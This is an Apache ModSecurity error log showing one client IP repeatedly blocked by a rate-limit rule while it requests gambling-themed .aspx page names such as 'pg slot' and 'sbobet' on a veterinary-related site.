[Wed May 13 11:09:39.969473 2026] [:error] [pid 23780:tid 23802] [client 51.83.237.175:51568] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "agPrc3XgOibPjrXgeTBh0QAAAAg"]
[Wed May 13 11:09:40.471672 2026] [:error] [pid 23887:tid 23913] [client 51.83.237.175:51570] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "agPrdNSKmvZJZkXBFDBQlwAAANI"]
[Wed May 13 11:09:42.638754 2026] [:error] [pid 23780:tid 23812] [client 51.83.237.175:51576] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "agPrdnXgOibPjrXgeTBh1gAAABI"]
[Wed May 13 11:09:43.766317 2026] [:error] [pid 23887:tid 23915] [client 51.83.237.175:51580] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "agPrd9SKmvZJZkXBFDBQpgAAANQ"]
[Wed May 13 11:09:45.736103 2026] [:error] [pid 23780:tid 23805] [client 51.83.237.175:51584] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "agPreXXgOibPjrXgeTBh2AAAAAs"]
[Wed May 13 11:09:46.494747 2026] [:error] [pid 23780:tid 23806] [client 51.83.237.175:51586] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "agPrenXgOibPjrXgeTBh2gAAAAw"]
[Wed May 13 11:09:48.345606 2026] [:error] [pid 23887:tid 23898] [client 51.83.237.175:45874] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "agPrfNSKmvZJZkXBFDBQtQAAAMM"]
[Wed May 13 11:09:49.270764 2026] [:error] [pid 23787:tid 23871] [client 51.83.237.175:45876] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "agPrfR1cs5wE7VT6wirVEgAAAJc"]
[Wed May 13 11:09:51.329219 2026] [:error] [pid 23787:tid 23870] [client 51.83.237.175:45892] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "agPrfx1cs5wE7VT6wirVFAAAAJY"]
[Wed May 13 11:09:52.123773 2026] [:error] [pid 23887:tid 23895] [client 51.83.237.175:45900] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "agPrgNSKmvZJZkXBFDBQwwAAAMA"]
[Wed May 13 11:09:54.629145 2026] [:error] [pid 23887:tid 23896] [client 51.83.237.175:45908] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "agPrgtSKmvZJZkXBFDBQzQAAAME"]
[Wed May 13 11:09:55.303284 2026] [:error] [pid 23887:tid 23909] [client 51.83.237.175:45914] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "agPrg9SKmvZJZkXBFDBQ0AAAAM4"]
[Wed May 13 11:09:57.352128 2026] [:error] [pid 3259:tid 3279] [client 51.83.237.175:45926] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "agPrheWJB4YwcPVLeArMRgAAARI"]
[Wed May 13 11:09:57.872500 2026] [:error] [pid 23787:tid 23855] [client 51.83.237.175:49586] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "agPrhR1cs5wE7VT6wirVGgAAAIc"]
[Wed May 13 11:09:59.947800 2026] [:error] [pid 23787:tid 23852] [client 51.83.237.175:49590] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "agPrhx1cs5wE7VT6wirVHwAAAIQ"]
[Wed May 13 11:10:00.505391 2026] [:error] [pid 23782:tid 23837] [client 51.83.237.175:49594] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "agPriCBrKFYHXUGnR-qjzAAAAFA"]
[Wed May 13 11:10:02.718174 2026] [:error] [pid 23887:tid 23906] [client 51.83.237.175:49598] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "agPritSKmvZJZkXBFDBQ2QAAAMs"]
[Wed May 13 11:10:03.483038 2026] [:error] [pid 23887:tid 23897] [client 51.83.237.175:49612] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "agPri9SKmvZJZkXBFDBQ3QAAAMI"]
[Wed May 13 11:10:05.399941 2026] [:error] [pid 3259:tid 3267] [client 51.83.237.175:49626] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "agPrjeWJB4YwcPVLeArMaQAAAQY"]
[Wed May 13 11:10:06.176027 2026] [:error] [pid 23887:tid 23916] [client 51.83.237.175:49636] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "agPrjtSKmvZJZkXBFDBQ4gAAANU"]
[Wed May 13 11:10:08.194112 2026] [:error] [pid 23887:tid 23919] [client 51.83.237.175:57626] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "agPrkNSKmvZJZkXBFDBQ6AAAANg"]
[Wed May 13 11:10:08.956475 2026] [:error] [pid 23887:tid 23895] [client 51.83.237.175:57634] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "agPrkNSKmvZJZkXBFDBQ6wAAAMA"]
[Wed May 13 11:10:10.940804 2026] [:error] [pid 23887:tid 23908] [client 51.83.237.175:57650] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "agPrktSKmvZJZkXBFDBQ8QAAAM0"]
[Wed May 13 11:10:11.775362 2026] [:error] [pid 23887:tid 23900] [client 51.83.237.175:57666] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "agPrk9SKmvZJZkXBFDBQ9QAAAMU"]
[Wed May 13 11:10:32.601702 2026] [:error] [pid 23787:tid 23868] [client 51.83.237.175:57686] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "agPrqB1cs5wE7VT6wirVNQAAAJQ"]
[Wed May 13 11:10:33.794386 2026] [:error] [pid 23887:tid 23909] [client 51.83.237.175:57672] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "agPrqdSKmvZJZkXBFDBRXQAAAM4"]
[Wed May 13 11:10:35.266108 2026] [:error] [pid 23887:tid 23908] [client 51.83.237.175:59260] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "agPrq9SKmvZJZkXBFDBRZgAAAM0"]
[Wed May 13 11:10:36.761226 2026] [:error] [pid 3259:tid 3275] [client 51.83.237.175:59276] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "agPrrOWJB4YwcPVLeArMigAAAQ4"]
[Wed May 13 11:10:37.891972 2026] [:error] [pid 23782:tid 23839] [client 51.83.237.175:35430] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "agPrrSBrKFYHXUGnR-qj2QAAAFI"]
[Wed May 13 11:10:39.736872 2026] [:error] [pid 3259:tid 3266] [client 51.83.237.175:35436] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "agPrr-WJB4YwcPVLeArMkAAAAQU"]
[Wed May 13 11:10:40.613113 2026] [:error] [pid 23782:tid 23823] [client 51.83.237.175:35450] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "agPrsCBrKFYHXUGnR-qj3wAAAEI"]
[Wed May 13 11:10:42.554763 2026] [:error] [pid 23787:tid 23856] [client 51.83.237.175:35458] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "agPrsh1cs5wE7VT6wirVOQAAAIg"]
[Wed May 13 11:10:43.313530 2026] [:error] [pid 3259:tid 3284] [client 51.83.237.175:35464] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "agPrs-WJB4YwcPVLeArMlAAAARc"]
[Wed May 13 11:10:45.550409 2026] [:error] [pid 23782:tid 23832] [client 51.83.237.175:35470] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "agPrtSBrKFYHXUGnR-qj4wAAAEs"]
[Wed May 13 11:10:45.785150 2026] [:error] [pid 23887:tid 23908] [client 51.83.237.175:35476] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "agPrtdSKmvZJZkXBFDBReAAAAM0"]
[Wed May 13 11:10:48.356301 2026] [:error] [pid 23780:tid 23810] [client 51.83.237.175:51920] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "agPruHXgOibPjrXgeTBiEwAAABA"]
[Wed May 13 11:10:48.994586 2026] [:error] [pid 3259:tid 3271] [client 51.83.237.175:51932] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "agPruOWJB4YwcPVLeArMnQAAAQo"]
[Wed May 13 11:10:50.943415 2026] [:error] [pid 23887:tid 23905] [client 51.83.237.175:51942] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "agPrutSKmvZJZkXBFDBRggAAAMo"]
[Wed May 13 11:10:51.899577 2026] [:error] [pid 23887:tid 23906] [client 51.83.237.175:51948] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "agPru9SKmvZJZkXBFDBRhgAAAMs"]
[Wed May 13 11:10:53.716049 2026] [:error] [pid 23787:tid 23857] [client 51.83.237.175:51958] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "agPrvR1cs5wE7VT6wirVQwAAAIk"]
[Wed May 13 11:10:54.614314 2026] [:error] [pid 23782:tid 23833] [client 51.83.237.175:51972] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "agPrviBrKFYHXUGnR-qj5gAAAEw"]
[Wed May 13 11:10:56.656831 2026] [:error] [pid 23782:tid 23844] [client 51.83.237.175:51974] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "agPrwCBrKFYHXUGnR-qj6QAAAFc"]
[Wed May 13 11:10:57.844301 2026] [:error] [pid 3259:tid 3275] [client 51.83.237.175:51978] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "agPrweWJB4YwcPVLeArMrgAAAQ4"]
[Wed May 13 11:11:00.411913 2026] [:error] [pid 3259:tid 3270] [client 51.83.237.175:55136] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "agPrxOWJB4YwcPVLeArMtgAAAQk"]
[Wed May 13 11:11:01.647044 2026] [:error] [pid 23780:tid 23811] [client 51.83.237.175:55150] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "agPrxXXgOibPjrXgeTBiFwAAABE"]
[Wed May 13 11:11:03.427323 2026] [:error] [pid 3259:tid 3264] [client 51.83.237.175:55154] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "agPrx-WJB4YwcPVLeArMvwAAAQM"]
[Wed May 13 11:11:04.525072 2026] [:error] [pid 23887:tid 23898] [client 51.83.237.175:55158] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "agPryNSKmvZJZkXBFDBRjwAAAMM"]
[Wed May 13 11:11:04.712752 2026] [:error] [pid 23782:tid 23838] [client 51.83.237.175:55160] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "agPryCBrKFYHXUGnR-qj8AAAAFE"]
[Wed May 13 11:11:06.131917 2026] [:error] [pid 3259:tid 3262] [client 51.83.237.175:55174] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "agPryuWJB4YwcPVLeArMxgAAAQE"]
[Wed May 13 11:11:07.344487 2026] [:error] [pid 23887:tid 23907] [client 51.83.237.175:55184] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "agPry9SKmvZJZkXBFDBRmgAAAMw"]
[Wed May 13 11:11:07.482125 2026] [:error] [pid 23887:tid 23895] [client 51.83.237.175:43446] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "agPry9SKmvZJZkXBFDBRmwAAAMA"]
[Wed May 13 11:11:08.949086 2026] [:error] [pid 3259:tid 3274] [client 51.83.237.175:43448] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "agPrzOWJB4YwcPVLeArMywAAAQ0"]
[Wed May 13 11:11:10.022051 2026] [:error] [pid 23887:tid 23912] [client 51.83.237.175:43456] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "agPrztSKmvZJZkXBFDBRowAAANE"]
[Wed May 13 11:11:10.489609 2026] [:error] [pid 3259:tid 3285] [client 51.83.237.175:43472] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20168.aspx"] [unique_id "agPrzuWJB4YwcPVLeArMzgAAARg"]
[Wed May 13 11:11:11.828090 2026] [:error] [pid 23782:tid 23830] [client 51.83.237.175:43484] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "agPrzyBrKFYHXUGnR-qj8gAAAEk"]
[Wed May 13 11:11:12.669400 2026] [:error] [pid 23887:tid 23908] [client 51.83.237.175:43486] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "agPr0NSKmvZJZkXBFDBRqAAAAM0"]
